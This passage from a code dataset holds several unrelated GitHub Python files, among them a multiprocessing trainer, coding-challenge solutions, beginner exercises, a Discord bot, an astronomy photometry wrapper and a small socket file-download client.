'_RESULTS_kp_vs_nCluster_SELF.csv')\n\n","repo_name":"witchsab/WorkSpace","sub_path":"ImageSearch_ORB_BOVW_Optimizer.py","file_name":"ImageSearch_ORB_BOVW_Optimizer.py","file_ext":"py","file_size_in_byte":6097,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"33640090230","text":"import multiprocessing as mp\nfrom typing import List, Tuple\nfrom ..evolution.task import SubTask, Task\nfrom ..utils.timer import timed\nfrom ..utils import create_shared_np, _put, Worker, QUEUE_SIZE\nfrom termcolor import colored\nimport traceback\nimport time \nfrom queue import Full, Empty\nfrom ctypes import c_float, c_bool\nimport numpy as np\nfrom prettytable import PrettyTable\nimport threading\nfrom faster_fifo import Queue\nfrom ..components.trainer import Trainer, Loss, GradOpimizer\nfrom ..components.metrics import Metric\nfrom typing import Dict\n\n\nSLEEP_TIME = 0.01\n\ndef execute_one_job(ind, trainer, task: Task, steps_per_gen: int): \n \n s = time.time()\n result = trainer.fit(ind, steps= steps_per_gen, data = task.task_table[ind.skill_factor].data)\n result['time'] = time.time() - s\n if not task.is_larger_better:\n result['best_metric'] = - result['best_metric']\n return result\n \ndef custom_error_callback(error):\n print(''.join(traceback.format_exception(etype=type(error), value=error, tb=error.__traceback__)))\n raise ValueError(f'Got an error from Multiprocessor: {error}')\n\n\n\nclass Multiprocessor:\n def __init__(self, loss: Loss, metric: Metric, task: Task,\n optimizer: GradOpimizer, steps_per_gen: int, num_workers:int = 1, trainer_config:dict = {}):\n self.num_workers= num_workers\n self.train_steps = mp.Value('L', 0)\n self.nb_inqueue= mp.Value('L', 0)\n self.times = mp.Value('d', 0)\n self.processed = mp.Value('L', 0)\n self.stop = mp.RawValue(c_bool, False)\n self.manager = mp.Manager()\n \n self.task = task\n self.steps_per_gen:int = steps_per_gen\n self.trainer = Trainer(loss= loss, optimizer=optimizer, metric= metric, **trainer_config)\n self.inqueue = Queue(QUEUE_SIZE)\n self.outqueue = Queue(QUEUE_SIZE)\n self.num_workers = num_workers\n \n self.worker_logger = create_shared_np((num_workers, 9), val = 0, dtype= c_float)\n \n \n def create_pool(self):\n self.pool: List[Worker] = [Worker(run_bg, self.inqueue, self.outqueue, i, {\n 'train_steps': self.train_steps,\n 'nb_inqueue': self.nb_inqueue,\n 'times': self.times,\n 'processed': self.processed,\n }, self.worker_logger, self.stop,\n steps_per_gen = self.steps_per_gen, \n trainer= self.trainer, task = self.task) for i in range(self.num_workers)]\n \n\n @timed \n def log(self):\n table = PrettyTable(['worker_id', 'total epochs', 'speed (epochs / s)', 'efficient time (s)', 'efficient time (%)', 'sleep time (s)',\n 'sleep time (%)', 'other time (%)', 'get (s)', 'backprop (s)', 'logging (s)', 'backprop speed (epoch / s)'])\n for i in range(self.num_workers):\n table.add_row([i, f'{int(self.worker_logger[i][0]):,}', #num epochs\n f'{self.worker_logger[i][1]:.2f}', #speed\n f'{self.worker_logger[i][2]:.2f}', #efficient time\n f'{(self.worker_logger[i][2] / self.worker_logger[i][3] * 100):.2f}', #performance\n f'{(self.worker_logger[i][4]):.2f}', #sleep time\n f'{(self.worker_logger[i][4] / self.worker_logger[i][3] * 100):.2f}', #sleep time\n f'{(100 - (self.worker_logger[i][4] + self.worker_logger[i][2]) / self.worker_logger[i][3] * 100):.2f}', #sleep time\n f'{self.worker_logger[i][5]:.2f}', #get from queue\n f'{self.worker_logger[i][6]:.2f}', #do one job\n f'{self.worker_logger[i][7]:.2f}', #log \n f'{self.worker_logger[i][8]:.2f}', #real back prop speed\n ])\n with open('logs', 'w') as f:\n f.write(str(table))\n \n \n \n \n \n @property\n def terminated(self):\n return self.nb_inqueue.value == 0\n \n @timed\n def __enter__(self):\n self.create_pool()\n return self\n \n \n \n @timed\n def submit_jobs(self, jobs: List[Tuple[SubTask, List]], async_submit: bool):\n with self.nb_inqueue.get_lock():\n self.nb_inqueue.value += len(jobs) \n \n if async_submit:\n self.async_put(jobs)\n else:\n \n _put(jobs, inqueue= self.inqueue)\n \n\n \n def async_put(self, jobs):\n \n thread = threading.Thread(target= _put, args = (jobs, self.inqueue))\n thread.start()\n \n @timed\n def __exit__(self, *args, **kwargs):\n \n self.stop.value = True\n \n print(\"Multiprocessor's stopping...\")\n del self.inqueue\n del self.outqueue\n \n for worker in self.pool:\n worker.kill()\n \n print(\"Multiprocessor's stopped...\")\n \n \n#Create processes running in background waiting for jobs\ndef run_bg(inqueue: Queue, outqueue: Queue, pid:int, metrics: dict, logger: np.ndarray, stop_signal: mp.RawValue, trainer: Trainer, task: Task, steps_per_gen: int):\n s = time.time()\n while not stop_signal.value:\n try:\n start = time.time()\n jobs = inqueue.get_many(max_messages_to_get = 10)\n get = time.time()\n except Empty:\n logger[pid][4] += SLEEP_TIME\n time.sleep(SLEEP_TIME)\n \n except Exception as e:\n traceback.print_exc()\n print(colored(f'[Worker {pid}]: Error: {e}', 'red'))\n \n else:\n results = []\n for job in jobs:\n result = execute_one_job(job, trainer, task, steps_per_gen)\n finish = time.time() \n results.append([\n result['best_metric'],\n result['loss'],\n result['profile'],\n job\n ])\n \n #update state to display\n with metrics['nb_inqueue'].get_lock(), metrics['processed'].get_lock(), metrics['train_steps'].get_lock(), metrics['times'].get_lock():\n metrics['train_steps'].value += result['train_steps']\n metrics['nb_inqueue'].value -= 1\n metrics['processed'].value += 1\n metrics['times'].value += result['time']\n \n log = time.time()\n \n logger[pid][0] += result['train_steps']\n t = time.time()\n logger[pid][1] = logger[pid][0] / (t - s)\n logger[pid][2] += result['time']\n logger[pid][3] = t - s \n \n logger[pid][5] = get - start\n logger[pid][6] = finish - get\n logger[pid][7] = log - finish\n logger[pid][8] = result['train_steps'] / logger[pid][6]\n \n is_put = False\n while not is_put:\n try:\n outqueue.put_many(results)\n \n except Full:\n ...\n else:\n is_put = True","repo_name":"ufabc-bcc/srbench-competition-2023-track-1-wonderful-time","sub_path":"src/SymMFEA/components/multiprocessor.py","file_name":"multiprocessor.py","file_ext":"py","file_size_in_byte":7371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"40025445303","text":"# Online Python compiler (interpreter) to run Python online.\r\nfrom collections import Counter\r\ns=input(\"Enter String \")\r\ns=s.upper()\r\nv=['A','E','I','O','U']\r\nfinal_result={}\r\nstuart=[]\r\nstuartlist=[]\r\nkevin=[]\r\nsomb=[]\r\nss=0\r\nsk=0\r\n\r\nfor i in s:\r\n for j in v:\r\n if i==j:\r\n kevin.append(i)\r\n break\r\n else:\r\n stuart.append(i)\r\n break\r\n\r\nsc=Counter(stuart)\r\nkc=Counter(kevin)\r\n\r\nstuart.clear()\r\nkevin.clear()\r\nfor i,j in sc.items():\r\n ss=ss+j\r\n stuart.append(i)\r\nfor i,j in kc.items():\r\n sk=sk+j\r\n kevin.append(i)\r\n\r\nlength=len(s)\r\ncount=0\r\n\r\n\r\nsomb.append(stuart)\r\nsomb.append(kevin)\r\n\r\nsomblen=len(somb)\r\nco=0\r\nfor z in somb:\r\n co=co+1\r\n for i in z:\r\n string=''\r\n count=0\r\n \r\n for j in s:\r\n count=count+1\r\n if i==j:\r\n string=''\r\n strings=s[count:length]\r\n \r\n \r\n sount=0\r\n for k in strings:\r\n \r\n sount=sount+1\r\n if sount==1:\r\n string=string+i+k\r\n \r\n stuartlist.append(string)\r\n else:\r\n string=string+k\r\n \r\n stuartlist.append(string)\r\n \r\n \r\n if co==1:\r\n stuartlistfinal=Counter(stuartlist)\r\n for i,j in stuartlistfinal.items():\r\n ss=ss+j\r\n \r\n else:\r\n stuartlistfinal=Counter(stuartlist)\r\n \r\n for i,j in stuartlistfinal.items():\r\n sk=sk+j\r\n \r\n \r\n stuartlist.clear()\r\n\r\nif ss>sk:\r\n print(\"Stuart\",ss)\r\nelif sk>ss:\r\n print('Kevin',sk)\r\nelse:\r\n print(\"Draw\")\r\n","repo_name":"samriddhasingh/Minion-game-Hackerrank-","sub_path":"minion.py","file_name":"minion.py","file_ext":"py","file_size_in_byte":1779,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"5583704814","text":"#Excerpt From: Eric Matthes. “Python Crash Course.” iBooks.\n#Chapter 7 - User Input and While Loops\n\n#using input for user input\nnumber = input(\"Enter a number, and I'll tell if it is even or odd: \")\n#using int to convert user input to integer which is by default string\nnumber = int(number)\n#using the Modulo operator with if-else to distinguish odd/even numbers\n#by dividing the numbers by 2 and check if that equals to zero or not\nif number % 2 == 0:\n print(\"\\nThe number \" + str(number) + \" is even.\")\nelse:\n print(\"\\nThe number \" + str(number) + \" is odd.\")\n\n\n'''\n“The for loop takes a collection of items and executes a block of code once\nfor each item in the collection. In contrast, the while loop runs as long as,\nor while, a certain condition is true.”\nExcerpt From: Eric Matthes. “Python Crash Course.” iBooks.\n'''\n\nprompt = \"\\nTell me something, and I will repeat it back to you: \"\nprompt += \"\\nEnter 'quit' to end the program..\"\nmessage = \"\" #giving reference value to message variable for python\n#to not give an error when it reads message in while loop\nwhile message != 'quit':\n message = input(prompt)\n#added if statement to prevent printing 'quit' even after user types quit to quit\n if message != 'quit':\n print(message)\n\n\n\"\"\"\nFLAGS: Page 253\n“For a program that should run only as long as many conditions are true, you\ncan define one variable that determines whether or not the entire program is\nactive. This variable, called a flag, acts as a signal to the program. ”\n\n“Let’s add a flag to parrot.py from the previous section. This flag, which\nwe’ll call active (though you can call it anything), will monitor whether or\nnot the program should continue running:”\n\"\"\"\n\n\nprompt = \"\\nTell me something, and I will repeat it back to you!, No?:\"\nprompt += \"\\nEnter 'quit' to end the program. \"\n\nactive = True #Using True flag for while loop to keep running until False\nwhile active:\n message = input(prompt)\n\n if message == 'quit':\n active = False #setting the flag false which ends the loop\n else:\n print(message)\n\n\n#Using break statement to end a piece of code running\n\nprompt = '\\nCity you visited?'\nprompt += 'Enter quit when to quit! :) '\n\nwhile True:\n city = input(prompt)\n\n if city == 'quit':\n break #if user inputs \"quit\" break statement ends the while loop.\n else:\n print(\"It is a lovely city\", city.title())\n #if user does not use 'quit' else condition is used\n\n\n#Using continue in a loop to skip that condition only and move to next:\ncurrent_number = 0\nwhile current_number < 10:\n current_number += 1\n if current_number % 2 == 0:\n continue\n print(current_number)\n","repo_name":"xkender/Cloud-programming","sub_path":"Python Crash Course/user_input_and_whileloops.py","file_name":"user_input_and_whileloops.py","file_ext":"py","file_size_in_byte":2701,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"10167736576","text":"import discord\nimport urllib.request\nimport random\nimport os\nimport re\n\nfrom google_images_download import google_images_download\n\nTOKEN = ''\n\nCWD = os.getcwd()\n\nclient = discord.Client()\n\n@client.event\nasync def on_message(message):\n # we do not want the bot to reply to itself\n if message.author == client.user:\n return\n\n\n ####################\n ## Hello command\n ####################\n if message.content.startswith('!hello'):\n msg = 'Hello {0.author.mention} :wave:'.format(message)\n embed = discord.Embed(title='Greeting', description=msg, color=0x9925db)\n await client.send_message(message.channel, embed=embed)\n\n\n ####################\n ## Rick command\n ####################\n if message.content.startswith('!rick'):\n msg = urllib.request.urlopen('https://radiant-wildwood-67970.herokuapp.com/rick/').read()\n embed = discord.Embed(title='Rick', description=msg.decode('utf-8'), color=0x50eaa8)\n await client.send_message(message.channel, embed=embed)\n\n\n ####################\n ## Morty command\n ####################\n if message.content.startswith('!morty'):\n msg = urllib.request.urlopen('https://radiant-wildwood-67970.herokuapp.com/morty/').read()\n embed = discord.Embed(title='Morty', description=msg.decode('utf-8'), color=0x50eaa8)\n await client.send_message(message.channel, embed=embed)\n\n\n ####################\n ## Say Aloud command\n ####################\n if message.content.startswith('!sayaloud'):\n msg = message.content[len('!sayaloud'):].strip()\n\n if (msg != ''):\n intro = '{0.author.mention} says: '.format(message)\n new_msg = intro + '\\''+ msg + '\\''\n await client.send_message(message.channel, new_msg, tts=True)\n else:\n msg = 'No message to say out loud.'\n embed = discord.Embed(title='Say Aloud Error :octagonal_sign:', description=msg, color=0xe10000)\n await client.send_message(message.channel, embed=embed)\n\n\n ####################\n ## Google Pic command\n ####################\n if message.content.startswith('!pic'):\n msg = message.content[len('!pic'):].strip()\n\n if (msg != ''):\n\n response = google_images_download.googleimagesdownload()\n arguments = {'keywords':msg,'limit':1,'format':'jpg'} #creating list of arguments\n \n response.download(arguments)\n\n path = CWD + '/downloads/' + msg + '/'\n\n for f in os.listdir(CWD + '/downloads/' + msg + '/'):\n if re.match('1.', f):\n pic_path = path + f\n await client.send_file(message.channel, pic_path, filename=msg+'.jpg')\n os.remove(pic_path)\n else:\n msg = 'Something went wrong :/'\n embed = discord.Embed(title='Google Pic Error :octagonal_sign:', description=msg, color=0xe10000)\n await client.send_message(message.channel, embed=embed)\n\n os.rmdir(path)\n else:\n msg = 'No terms to search.'\n embed = discord.Embed(title='Google Pic Error :octagonal_sign:', description=msg, color=0xe10000)\n await client.send_message(message.channel, embed=embed)\n\n\n ####################\n ## Odds command\n ####################\n if message.content.startswith('!odds'):\n num_str = message.content[len('!odds'):].strip()\n num_list = num_str.split()\n\n if (len(num_list) == 2):\n bot_num = int(num_list[0])\n user_num = int(num_list[1])\n\n if (user_num <= bot_num):\n od = random.randint(0,bot_num)\n intro = 'Odds = '+str(bot_num)+'\\n'\n\n p1 = '{0.author.mention}: '.format(message)+str(user_num)+'\\n'\n p2 = 'Bot: '+str(od)+'\\n'\n\n if (user_num == od):\n rest = 'You **won\\'t**.'\n else:\n rest = 'Damn.'\n\n msg = p1 + p2 + rest\n embed = discord.Embed(title=intro, description=msg, color=0x58b3ea)\n await client.send_message(message.channel, embed=embed)\n else:\n msg = 'Your guess cannot exceed the limit.'\n embed = discord.Embed(title='Odds Error :octagonal_sign:', description=msg, color=0xe10000)\n await client.send_message(message.channel, embed=embed)\n else:\n msg = 'Please use the correct format: \\\"!odds *-limit* *-guess*\\\"'\n embed = discord.Embed(title='Odds *Error*', description=msg, color=0xe10000)\n await client.send_message(message.channel, embed=embed)\n\n\n ####################\n ## Commands command\n ####################\n if message.content.startswith('!help'):\n intro = 'Help'\n hello = '!hello\\n'\n rick = '!rick\\n'\n morty = '!morty\\n'\n odds = '!odds -limit -guess\\n'\n sayaloud = '!sayaloud -message\\n'\n pic = '!pic -term(s)'\n\n embed = discord.Embed(title=intro, description='Available commands.', color=0x58b3ea)\n embed.add_field(name=hello, value='Greeting', inline=False)\n embed.add_field(name=rick, value='Randomly generated Rick quote', inline=False)\n embed.add_field(name=morty, value='Randomly generated Morty quote', inline=False)\n embed.add_field(name=odds, value='You won\\'t.', inline=False)\n embed.add_field(name=sayaloud, value='Says any message out loud', inline=False)\n embed.add_field(name=pic, value='Searches google for an image based on the input term', inline=False)\n\n await client.send_message(message.channel, embed=embed)\n\n\n@client.event\nasync def on_ready():\n #await client.change_nickname(nickname='NotNotBot')\n print('Logged in as')\n print(client.user.name)\n print(client.user.id)\n print('------')\n\nclient.run(TOKEN)\n","repo_name":"mihaidan/DiscordBots","sub_path":"fun_bot.py","file_name":"fun_bot.py","file_ext":"py","file_size_in_byte":5978,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"38083087834","text":"\nimport os\nimport sys\nimport warnings\n\nimport numpy as np\nimport photutils\nfrom astropy.convolution import Gaussian2DKernel\nfrom astropy.stats import gaussian_fwhm_to_sigma\n\nimport numpy as np\n\n\n\n# --- default parameters\ndefault_parameters = {}\ndefault_parameters['kron_params'] = [2.5, 1]\ndefault_parameters['npixels'] = 5\ndefault_parameters['nlevels'] = 32\ndefault_parameters['nsigma'] = 2\ndefault_parameters['deblend_contrast'] = 0.001\n# default_parameters['smooth'] = False\ndefault_parameters['smooth'] = {'smooth_fwhm':2, 'kernel_size':5}\n\n\n\n\n# --- only output these columns for the individual bands. Most of the rest *should* be repitition from the detection image\ndefault_photometry_columns = ['kron_flux','kron_fluxerr','segment_flux','segment_fluxerr']\n\n\n# --- columns to exclude from the hdf5 file because they're not 1D arrays\nhdf5_exclude = ['detection/sky_centroid']\n\ndef detect_sources(detection_image, parameters = default_parameters, naive_threshold = False):\n\n if parameters['smooth']:\n smooth_sigma = parameters['smooth']['smooth_fwhm'] * gaussian_fwhm_to_sigma\n smooth_kernel = Gaussian2DKernel(smooth_sigma, x_size = parameters['smooth']['kernel_size'], y_size = parameters['smooth']['kernel_size'])\n smooth_kernel.normalize()\n else:\n smooth_kernel = None\n\n try:\n detection_threshold = (parameters['nsigma'] * detection_image.background_map.background_rms) + detection_image.background_map.background # NOT CURRENTLY WORKING!!\n except:\n warnings.warn('Falling back to naive detection threshold')\n detection_threshold = (1/np.sqrt(detection_image.wht)) * parameters['nsigma'] # --- naive approach\n\n segm = photutils.detect_sources(detection_image.data, detection_threshold, npixels = parameters['npixels'], filter_kernel=smooth_kernel)\n\n segm_deblended = photutils.deblend_sources(detection_image.data, segm, npixels = parameters['npixels'], nlevels = parameters['nlevels'], contrast = parameters['deblend_contrast'], filter_kernel = smooth_kernel)\n detection_cat = photutils.SourceCatalog(detection_image.data, segm_deblended, error = detection_image.data_rms, kron_params = parameters['kron_params'])\n\n return detection_cat, segm_deblended\n\n\ndef detect_sources_method(self, detection_image):\n\n self.detection_image = detection_image\n\n self.detection_cat, self.segm_deblended = detect_sources(self.detection_image, parameters = self.parameters)\n\n # --- create detetion property table\n detection_tab = self.detection_cat.to_table()\n\n # --- output detection property to output dictionary\n for col, colname in zip(detection_tab.itercols(), detection_tab.colnames): # extract the table into a dictionary for easier output later\n self.o[f'detection/{colname}'] = np.array(col.data)\n\n # --- output detection signal-to-noise\n self.o['detection/sn'] = self.o['detection/segment_flux']/self.o['detection/segment_fluxerr']\n\n # --- define number of sources detected\n self.N = len(self.o['detection/sn'])\n if self.verbose:\n print('-'*20)\n print(f'Number of detected sources: {self.N}')\n\n\n\ndef perform_photometry(detection_cat, segm_deblended, imgs, parameters = default_parameters):\n \"\"\" Perform the standard photometry that photutils does \"\"\"\n photometry_cat = {}\n for f, img in imgs.items():\n photometry_cat[f] = photutils.SourceCatalog(img.data, segm_deblended, error = img.data_rms, kron_params = parameters['kron_params'], detection_cat = detection_cat)\n return photometry_cat\n\ndef perform_photometry_method(self, imgs, photometry_columns = default_photometry_columns):\n\n self.imgs = imgs\n\n self.photometry_cat = perform_photometry(self.detection_cat, self.segm_deblended, self.imgs, parameters = self.parameters)\n\n if self.verbose:\n print('-'*20)\n print('performing photometry')\n\n for f, photo_cat in self.photometry_cat.items():\n\n if self.verbose: print(f)\n\n if photometry_columns:\n photo_tab = photo_cat.to_table(photometry_columns) # use defined subset of columns\n else:\n photo_tab = photo_cat.to_table() # use all columns\n\n for col, colname in zip(photo_tab.itercols(), photo_tab.colnames):\n self.o[f'{f}/{colname}'] = np.array(col.data)\n\n # --- convert to nJy\n for phot_type in ['segment', 'kron']:\n\n if self.imgs[f].units == 'e/s':\n\n nJy_to_es = (1E-9*10**(0.4*(self.imgs[f].zeropoint-8.9)))\n\n self.o[f'{f}/{phot_type}_flux'] /= nJy_to_es\n self.o[f'{f}/{phot_type}_fluxerr'] /= nJy_to_es\n\n\n\n\n\ndef perform_aperture_photometry(detection_cat, segm_deblended, imgs, apertures = []):\n \"\"\" Perform aperture photometry -- NOT YET IMPLEMENTED \"\"\"\n\n aperture_photometry_cat = {}\n print('WARNING: NOT YET IMPLEMENTED')\n\n # for f, img in imgs.items():\n # for aperture in apertures:\n\n return aperture_photometry_cat\n\ndef perform_aperture_photometry_method(self):\n\n self.aperture_photometry_cat = perform_aperture_photometry(self.detection_cat, self.segm_deblended, self.imgs)\n print('WARNING: NOT YET IMPLEMENTED')\n\n\n\n\nclass SEP():\n\n \"\"\" The SEP class which keeps everything together and provides handy export options \"\"\"\n\n detect_sources = detect_sources_method\n perform_photometry = perform_photometry_method\n perform_aperture_photometry = perform_aperture_photometry_method\n\n\n def __init__(self, verbose = False, output_dir = None, parameters = default_parameters):\n\n # self.detection_image = detection_image\n # self.imgs = imgs\n self.verbose = verbose\n # self.filters = list(self.imgs.keys())\n self.parameters = parameters\n\n if self.verbose:\n # print('-'*20)\n # print('list of filters:', self.filters)\n print('-'*20)\n for k,v in self.parameters.items():\n print(k, v)\n\n # --- output directory\n self.output_dir = output_dir\n self.o = {}\n\n def run(self, detection_image, imgs):\n\n self.detect_sources(detection_image)\n self.perform_photometry(imgs)\n # self.perform_aperture_photometry(imgs)\n self.export_to_hdf5()\n\n\n # --- Export to Astropy tables\n def export_to_table(self):\n print('Sorry not yet implemented')\n\n # --- Export to SExtractor file format.\n def export_to_SExtractor(self):\n print('Sorry not yet implemented')\n\n\n # --- Export ALL to Python pickle.\n def export_all_to_pickle(self, output_dir = None):\n\n \"\"\" dump everything to Python pickle. Not recommended.\"\"\"\n\n import pickle\n\n pickle.dump(self, open(f'{output_dir}/full.pck','w'))\n\n # --- Export ALL to Python pickle.\n def export_to_pickle(self, output_dir = None, cat_name = 'cat'):\n\n \"\"\" dump output dictionary to Python pickle .\"\"\"\n\n import pickle\n\n pickle.dump(self, open(f'{output_dir}/{cat_name}.pck','w'))\n\n\n # --- Export to HDF5 format.\n def export_to_hdf5(self, output_dir = None, cat_name = 'cat', return_hf = False):\n\n import h5py\n\n if self.verbose:\n print('-'*20)\n print('** Exporting to HDF5 **')\n # --- print a list of all the output columns\n for k in self.o.keys():\n print(k)\n\n if (not output_dir) & (self.output_dir is not None):\n output_dir = self.output_dir\n if (not output_dir) & (not self.output_dir):\n print('WARNING: No output directory set')\n\n # --- make directory structure for the output files\n if not os.path.exists(output_dir):\n os.makedirs(output_dir)\n\n hf = h5py.File(f'{output_dir}/{cat_name}.h5', 'w')\n\n # hf.attrs['N'] = self.N\n\n for k, v in self.o.items():\n print(k)\n if k not in hdf5_exclude:\n hf.create_dataset(k, data = v)\n\n if return_hf:\n return hf\n else:\n hf.flush()\n","repo_name":"stephenmwilkins/pysep","sub_path":"pysep/sep.py","file_name":"sep.py","file_ext":"py","file_size_in_byte":7992,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"36714232990","text":"import sys\nsys.stdin=open('input.txt')\n\n# 끝을 최대 기둥으로 하는 반쪽 영역의 창고 면적 합산(최대 기둥 제외)\ndef side_pil(pil):\n global cnt # 합산을 위해 메인의 변수 global 선언\n pp=(0,0) # pp - 이전 기둥 정보값. 초기값 (0,0)\n for pl in pil: # pl - 현재 기둥 정보값.\n if pl[1]>=pp[1]: # 이전 기둥과 크거나 같은 높이 기둥을 만났을 때,\n cnt+=pp[1]*abs(pl[0]-pp[0]) # 이전까지의 창고 면적 합산\n if pl==pil[-1]: break; # 최대 기둥에 도달 시 반복문 탈출 후 그대로 종료\n pp=pl # 아니라면 이전 기둥에 현재 기둥 갱신\n\n# ----- 메인 ----- #\npils=[] # pils - 기둥 정보 (위치, 높이) 를 저장할 리스트\ncnt=0 # cnt - 면적 값을 합산할 변수\n# 입력값 받아오기\nN=int(input())\nfor _ in range(N):\n L,H=map(int,input().split())\n pils.append((L,H))\n\n# 위치 기준 오름차순 정렬(버블 소트)\nfor i in range(len(pils)-1,-1,-1):\n for j in range(i):\n if pils[i][0]max_h:\n max_h=pils[p][1]\n max_idx=p\n\n# 리스트 슬라이싱 시, max_idx를 기준으로 자르되\n# max_idx가 0일 경우 인덱스가 -1로 넘어가며 역순 슬라이싱 불가\n# 따라서 해당 경우는 별도로 처리\npil1=pils[:max_idx+1]\npil2=pils[:max_idx-1:-1] if max_idx!=0 else pils[::-1]\n\nside_pil(pil1) # 왼쪽 창고 면적 합산\nside_pil(pil2) # 오른쪽 창고 면적 합산\ncnt+=max_h # 최고 높이 기둥 면적 합산\nprint(cnt)\n","repo_name":"SuminSon/TIL","sub_path":"Algorithm/BOJ/2304 창고 다각형/BOJ_2304_창고다각형.py","file_name":"BOJ_2304_창고다각형.py","file_ext":"py","file_size_in_byte":1846,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"30533500615","text":"# needed for python unit testings\n# https://docs.python.org/3/library/unittest.html\nimport unittest\n\n# required for type hinting\n# https://mypy.readthedocs.io/en/stable/cheat_sheet_py3.html\nfrom typing import List\n\nclass Solution:\n '''\n Given an undirected, connected graph of n nodes labeled 0 to n-1\n represented by an array graph where graph[i] is a list of all the\n nodes connected with node i by an edge.\n\n Return the length of the shortest path that visits every node. It is\n possible to start and stop at any node, nodes may be revisited \n multiple times, and edges may be used multiple times.\n\n Constraints:\n * 1 <= n <= 12 (ie max of 12 nodes)\n * 0 <= graph[i].length < n (ie nodes have 0 to 11 edges)\n * node cannot have edge to itself\n '''\n # got frustrated and read the solution and based implementation on it\n # https://leetcode.com/problems/shortest-path-visiting-all-nodes/solution/\n # DFS (dynamic programing caching) with bitmasking to record state\n # O(2^N N^2) time (2^N possible states for N nodes run N times)\n # O(2^N N) space (total possible states in cache)\n def shortestPathLength_dfs(self, graph: List[List[int]]) -> int:\n n = len(graph)\n # node, bitmask -> distance\n cache = dict()\n # dynamic programming depth first search\n def dp_dfs(node, mask):\n state = (node, mask)\n # check cache for quick answer\n if state in cache:\n return cache[state]\n # check for base case (only one node visited [ie start node])\n # make use of Brian Kernighan's method\n if (mask & (mask - 1)) == 0:\n return 0\n # add state to cache (with large value to avoid infinite cycles)\n cache[state] = float('inf')\n # update state to have smallest value for all neighbors\n for e in graph[node]:\n # because removing nodes from mask make sure neighbor can be removed\n # this is because top down ((start) '1111' -> '1011' -> ... -> '1000' (base))\n if mask & (1 << e):\n cache[state] = min(\n cache[state],\n 1 + dp_dfs(e, mask), # already visited\n 1 + dp_dfs(e, mask ^ (1 << node)) # fist visit\n )\n # return best distance for this state\n return cache[state]\n # return smallest distance with start node touching all nodes\n return min(dp_dfs(i, (1 << n) - 1) for i in range(n))\n\n # again based on leetcode algorithm explanation\n # https://leetcode.com/problems/shortest-path-visiting-all-nodes/solution/\n # same time/space as dfs but likely to return early\n def shortestPathLength_bfs(self, graph: List[List[int]]) -> int:\n n = len(graph)\n # only one node in graph\n if n == 1:\n return 0\n emask = (1 << n) - 1\n visited = {(i, 1 << i) for i in range(n)}\n queue = [(i, 1 << i) for i in range(n)]\n distance = 0\n while queue:\n nextQueue = []\n for node, mask in queue:\n for e in graph[node]:\n newMask = mask | (1 << e)\n if newMask == emask:\n return 1 + distance\n state = (e, newMask)\n if state not in visited:\n visited.add(state)\n nextQueue.append(state)\n distance += 1\n queue = nextQueue\n\nclass UnitTesting(unittest.TestCase):\n def test_one(self):\n s = Solution()\n i = [[1,2,3],[0],[0],[0]]\n o = 4\n self.assertEqual(s.shortestPathLength_dfs(i), o)\n self.assertEqual(s.shortestPathLength_bfs(i), o)\n\n def test_two(self):\n s = Solution()\n i = [[1],[0,2,4],[1,3,4],[2],[1,2]]\n o = 4\n self.assertEqual(s.shortestPathLength_dfs(i), o)\n self.assertEqual(s.shortestPathLength_bfs(i), o)\n\n def test_three(self):\n s = Solution()\n i = [[1],[0]]\n o = 1\n self.assertEqual(s.shortestPathLength_dfs(i), o)\n self.assertEqual(s.shortestPathLength_bfs(i), o)\n\n def test_four(self):\n s = Solution()\n i = [[1],[0,2],[1]]\n o = 2\n self.assertEqual(s.shortestPathLength_dfs(i), o)\n self.assertEqual(s.shortestPathLength_bfs(i), o)\n\n def test_five(self):\n s = Solution()\n i = [[]]\n o = 0\n self.assertEqual(s.shortestPathLength_dfs(i), o)\n self.assertEqual(s.shortestPathLength_bfs(i), o)\n\nif __name__ == '__main__':\n unittest.main(verbosity=2)","repo_name":"olsenw/LeetCodeExercises","sub_path":"Python3/shortest_path_visiting_all_nodes.py","file_name":"shortest_path_visiting_all_nodes.py","file_ext":"py","file_size_in_byte":4694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"35383180640","text":"#!/usr/bin/env python3\r\n# -*- coding: utf-8 -*-\r\nimport socket\r\n\r\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\ns.connect(('127.0.0.1', 9998))\r\n\r\nwhile True:\r\n cmd = input('请输入要下载的文件名:')\r\n if cmd.startswith('get'):\r\n s.send(cmd.encode())\r\n prefix, filename = cmd.split()\r\n server_res = s.recv(1024).decode()\r\n if server_res == 'yes':\r\n s.send(b'yes')\r\n else:\r\n print(server_res)\r\n continue\r\n file_size = int(s.recv(1024).decode())\r\n received_size = 0\r\n f = open(filename + '.new', 'wb')\r\n while received_size < file_size:\r\n file_content = s.recv(1024)\r\n f.write(file_content)\r\n received_size += len(file_content)\r\n f.close()\r\n print('文件下载完毕')\r\n else:\r\n break\r\ns.close()\r\n","repo_name":"yamero/python_study","sub_path":"client_ftp.py","file_name":"client_ftp.py","file_ext":"py","file_size_in_byte":873,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"36991286778","text":"# led_timer.deinit()\n\n\"\"\"\nThe irq() method accepts the following arguments:\n\ntrigger: this defines the trigger mode. There are 3 different conditions:\n\nPin.IRQ_FALLING: to trigger the interrupt whenever the pin goes from HIGH to LOW;\n\nPin.IRQ_RISING: to trigger the interrupt whenever the pin goes from LOW to HIGH.\n\n3: to trigger the interrupt in both edges (this means, when any change is detected)\n\nhandler: this is a function that will be called when an interrupt is detected, in this case the handle_interrupt() function.\n\nhttps://randomnerdtutorials.com/micropython-interrupts-esp32-esp8266/\n\n# https://bulldogjob.pl/news/1342-pisanie-testow-jednostkowych-w-pythonie-dobre-praktyki\n\n\"\"\"\n\nfrom machine import Pin, Timer, I2C\nfrom BME280 import BME280\n\nfrom led import Led\n\nscl = 5\nsda = 